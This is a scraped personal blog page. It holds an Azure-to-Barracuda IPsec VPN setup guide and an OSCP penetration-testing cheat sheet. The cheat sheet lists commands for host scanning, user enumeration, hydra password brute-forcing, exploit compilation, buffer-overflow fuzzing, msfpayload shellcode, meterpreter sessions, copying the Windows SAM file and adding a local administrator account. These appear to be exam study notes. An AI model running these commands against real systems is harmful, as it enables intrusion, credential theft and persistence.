http://doc.bareos.org/master/html/bareos-manual-main-reference.html
Tuesday, November 22, 2016
Wednesday, October 26, 2016
How to Configure a Site-to-Site IPsec VPN to the Microsoft Azure VPN Gateway
How to Configure a Site-to-Site IPsec VPN to the Microsoft Azure VPN Gateway
You can configure your Barracuda NextGen Firewall X-Series to connect to the IPsec VPN gateway service in the Microsoft Azure cloud.
Before you Begin
- Create and configure a Microsoft Azure static VPN Gateway for your virtual network.
- You will need the following information:
- VPN Gateway
- External IP address for the X-Series Firewall
- Remote and local networks.
Step 1.Create a Network in the Microsoft Azure cloud
Create a virtual Network in the Microsoft Azure cloud. Choose subnets which are not present in your local networks to avoid IP address conflicts.
- Log into your Microsoft Azure Management Portal (https://manage.windowsazure.com[1])
- In the left pane click NETWORKS.
- In the bottom left corner click + NEW.
- Click CUSTOM CREATE. The create a virtual network windows opens.
- Enter the Name for the network.
- Select a Location. E.g., West Europe
- Click NEXT
.
- (optional) Enter or select a DNS server.
- In the right panel enable Configure site-to-site VPN.
- Select Specify a New Local Network from the LOCAL NETWORK drop down.
- Click Next
.
- Enter a NAME for your local on-premises network.
- Enter the VPN DEVICE IP ADDRESS. This is the external IP address of the X-Series Firewall running the VPN service.
- In the ADDRESS SPACE section enter the on-premise network(s). E.g.,
10.10.200.0/24
- Click Next
.
- In the Virtual Network Address Spaces section click add subnet:
- Subnet – Enter a name for the subnet.
- Starting IP – Enter the first IP of the IP Range for the subnet. E.g.,
10.10.201.0
- CIDR(ADDRESS COUNT) – Select the subnet mask from the list. E.g., /24 for 256 IP addresses
- Click add gateway subnet:
- Click OK
.
The Azure Virtual Network you have just created is now listed in the NETWORK menu in the Azure management interface.
Step 2. Create a VPN Gateway for the Microsoft Azure Network
Create the Azure VPN Gateway.
- Log into your Microsoft Azure Management Portal (https://manage.windowsazure.com)[2].
- In the left pane click NETWORKS.
- Click on the Network previously created in Step 1.
- in the top menu click on DASHBOARD.
- In the bottom pane, click CREATE GATEWAY.
- Select Static Routing from the list. Creating the gateway will take a couple of minutes.
When the color of the gateway turns blue, the gateway has been successfully created. The Gateway IP is now displayed below the VPN Gateway image.
Step 3. Configure IPsec Site-to-Site VPN on the X-Series Firewall
Create a active IPsec VPN connection on the X-Series Firewall.
- Go to the Site-to-Site page (VPN > Site-to-Site).
- If your are using a dynamic address (DHCP, xDSL, 3G) to connect to the Internet, or if you are behind a NAT enableUse Dynamic IPs in the GLOBAL SERVER SETTINGS section and click Save. The VPN service restarts.
- In the Site-to-Site IPsec Tunnels section click on Add.
- Enter the Name for the IPsec VPN. E.g.,
AzureVPNGateway
- Configure the Phase 1 and Phase 2 encyption settings:
- Phase 1:
- Encryption – AES
- Hash Method – SHA
- DH Group – Group 2
- Lifetime – 28800
- Phase 2:
- Encryption – AES
- Hash Method – SHA256
- Lifetime – 3600
- Perfect Forward Secrecy – No
- Local End – Active
- Local Address – Dynamic or static if you are using a static WAN connection.
- Local Networks – Enter your on-premise subnet(s). E.g.,
- Remote Gateway – Enter the IP for the GATEWAY IPADDRESS listed on the DASHBOARD of your Azure network. E.g.,
137.117203.108
- Remote Networks – Enter the remote VPC subnet. E.g.,
10.10.201.0/24
- Authentication – Select Shared Passphrase.
- Passphrase – Enter the Shared Key generated by your Azure VPN Gateway. To view the shared key go to theDASHBOARD of your Azure network and click on the Manage Key icon in the bottom pane.
- Enable Aggressive – No,
- Phase 1:
- Click Save.
Step 4. Create a Access Rule
If you do not have the VPN-SITE-2-SITE access rule you must create an access rule to allow traffic to allow traffic from your local network to the Azure subnet.
- Go to the FIREWALL > Firewall Rules page.
- Add a Access Rule:
- Type – Select ALLOW.
- Source – Enter your local network(s) or select a network object containing only your local network(s). E.g.,
10.10.200.0/24
- Destination – Enter the remote subnet in the Azure Network. E.g.,
10.10.201.0/24
- Network Services – Select Any.
- Connection – Select No SNAT
- Click Save.
- Place the firewall rule so no rule matches the VPN traffic above it.
- Click Save.
Your X-Series Firewall will now automatically connect to the Azure VPN Gateway.
Reference: https://campus.barracuda.com/product/nextgenfirewallx/article/NGX/ConfigAzureVPNGateway/
cloned appliance VM mac issue
sometimes it's necessary to use last used mac address for the clone, in order to get to work.
Friday, October 7, 2016
OSCP Cheat Sheet
Scan network for live hosts (nmap/zenmap)
For NMAP –
nmap -vv -sP 192.168.0.1-254 -oG hosts_up.txt cat hosts_up.txt | grep -i “up”
nmap -PN 192.168.9.200-254
(this will also show open ports for each host)
Identify OS (nmap/zenmap) For NMAP –
nmap -O 192.168.0.100 (just OS fingerprint)
nmap -A 192.168.9.201 (runs an “aggressive” scan – scan,OS fingerprint, version scan, scripts and traeroute)
Check hosts for services (nmap/zenmap)
For NMAP
- nmap -sS 192.168.9.254 (TCP)
- nmap -sU 192.168.9.254 (UDP)
(Could be better to do this in zenmap and group servers by services)
FOR SNMP
- snmpwalk -c public -v1 192.168.9.254 1 |grep hrSWRunName|cut -d” ” -f
For a known port
- nmap – p 139 192.168.9.254
DNS Lookups/Hostnames
host -l
e.g. host -l acme.local 192.168.0.220
Banner grab/Version services
(nmap/zenmap/SNMP)
Check versions of software/services against milw 0rm and security focus)
For NMAP
- nmap -sV 192.168.9.254
For SNMP
snmpenum -t 192.168.0.100 (displays all snmp informations for that server)
For SMTP
nc -v 25
Will give mailserver version. Can also VRFY to find valid usernames/email accounts
Netbios/SMB
smb4k (graphical interface – lists shares)
smbserverscan
metasploit auxiliary scanner
./msfconsole show
use scanner/smb/version
set RHOSTS 192.168.0.1-192.168.0.254
run
Enumerate Usernames (SNMP/SMTP/SMB[NETBIOS]/Add others here)
For SMB
nmap -sT -p 445 192.168.9.200-254 -oG smb_results.txt (then grep open sessions) (on my machine /root/offsec) ./samrdump.py 192.168.9.201 (results from above)
For SNMP
nmap -sT -p 161 192.168.9.200/254 -oG snmp_results.txt (then grep)
- snmpwalk public -v1 192.168.9.201 1 |grep 77.1.2.25 |cut -d” “ -f4
For SMTP – (/pentest/enumeration/vrfy)
./smtp_VRFY.py
** NEED TO MAKE THREADED – VERY SLOW **
SAMRDUMP.PY – (/pentest/python/impacket-examples/samrdump.py)
- ./samrdump.py SNMP server
*** NAMES.TXT – /pentest/enumeration/vrfy/names.txt ***
*** OR /pentest/web/wfuzz/wordlists/others/names.txt ***
Crack Passwords (hydra/THC bruter)
(need mil-dict.txt from Milw 0rm – cracked hashs)
FTP – hydra -l -P mil-dic.txt -f ftp -V
POP3 – hydra -l -P mil-dict.txt -f pop3 -V (may need to use -t 15 to limit concurrent connections)
SNMP – hydra -P mil-dict.txt -f -V
MS VPN – dos2unix words (whatever word list) cat words | thc-pptp-bruter VPN server
12/30/12 A nice OSCP cheat sheet |
Look for known vulnerable services (refer nmap/zenmap output)
Check versions of software (by either snmp enumeration or nmap/zenmap) against http://www.milw 0rm.com/search.php or http://www.securityfocus.com/vulnerabilities or http://www.exploit-db.com
Compile exploit code if possible (milw 0rm archive)
cd /pentest/exploits/milw 0rm cat sploitlist.txt | grep -i [exploit]
Some exploits may be written for compilation under Windows, while others for Linux. You can identify the environment by inspecting the headers.
cat exploit | grep “#include”
Windows: process.h, string.h, winbase.h, windows.h, winsock2.h
Linux: arpa/inet.h, fcntl.h, netdb.h, netinet/in.h, sys/sockt.h, sys/types.h, unistd.h
Grep out Windows headers, to leave only Linux based exploits:
12/30/12
cat sploitlist.txt | grep -i exploit | cut -d ” ” -f1 | xargs grep sys | cut -d “:” -f1 | sort -u
LINUX
gcc -o dcom 66.c
./dcom
WINDOWS
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe ability.c -lwsock32 wine ability.exe (to run compiled file)
Wireshark Filters
To filter out all traffic for IP 192.168.0.100
!(IP.ADDR == 192.168.0.100)
FUZZING STEPS – ASH STYLE
1. Determine target application and operating system
2. Obtain a copy of the application
3. Analyse the RFC & communication protocols
4. Discover & record crash conditions
5. Analyse crash conditions for exploitation opportunities
Things we need to know
Which 4 bytes overwrite EIP
Do we have enough space in buffer for shellcode Is this shellcode easily accessible in memory Does the application filter out any characters
Will we encounter overflow protection mechanisms
(*** HANDY – framework3/tools -> nasm_shell.rb => JMP ESP ***) Creating pattern for EIP location
framework3/tools -> pattern_create.rb >> Fuzzing_script (will append to the end of the script)
then look in ollydbg for pattern (need to reverse it and convert)
pattern_offset.rb
will show byte offset
Creating shellcode (in framework3)
./msfpayload |grep -i shell
./msfpayload …… o (for options)
./msfpayload …… c (to create)
** TAKE NOTE OF SHELLCODE SIZE AND ADJUST FINAL BUFFER TO SUIT ** CAN ALSO USE FRAMEWORK2 MSFWEB INTERFACE (super easy)
Finding an exploit
/pentest/exploits/milw 0rm grep sploitlist.txt
MSFCLI (p243)
./msfcli
-o options
9/12
-p payloads
-t test
-e exploit
MSFCONSOLE
sessions -l => list created sessions
sessions -i # => interact with specific session number show options
search
use exploit/ ….. set PAYLOAD ….
exploit
Meterpreter Payloads (p260)
payload = windows/meterpreter/reverse_tcp …. meterpreter> help (lists all commands)
upload c:\\windows
download c:\\windows\\repair\\sam /tmp ps (running tasks)
execute -f cmd -c (creates a new channel with the cmd shell) interact # (interacts with channel)
Other useful windows commands net user ash my_password /add
net localgroup administrators ash /add
Passwords & Hashes
Windows SAM => %systemroot%\Repair (pwdump or fgdump – p340)
Leave a Reply
Your email address will not be published. Required fields are marked * Name
Email
Website
Tuesday, September 6, 2016
Sunday, August 21, 2016
RHEV host and Self hosted engine upgrade to RHEV 3.6
Subscribe to:
Posts (Atom)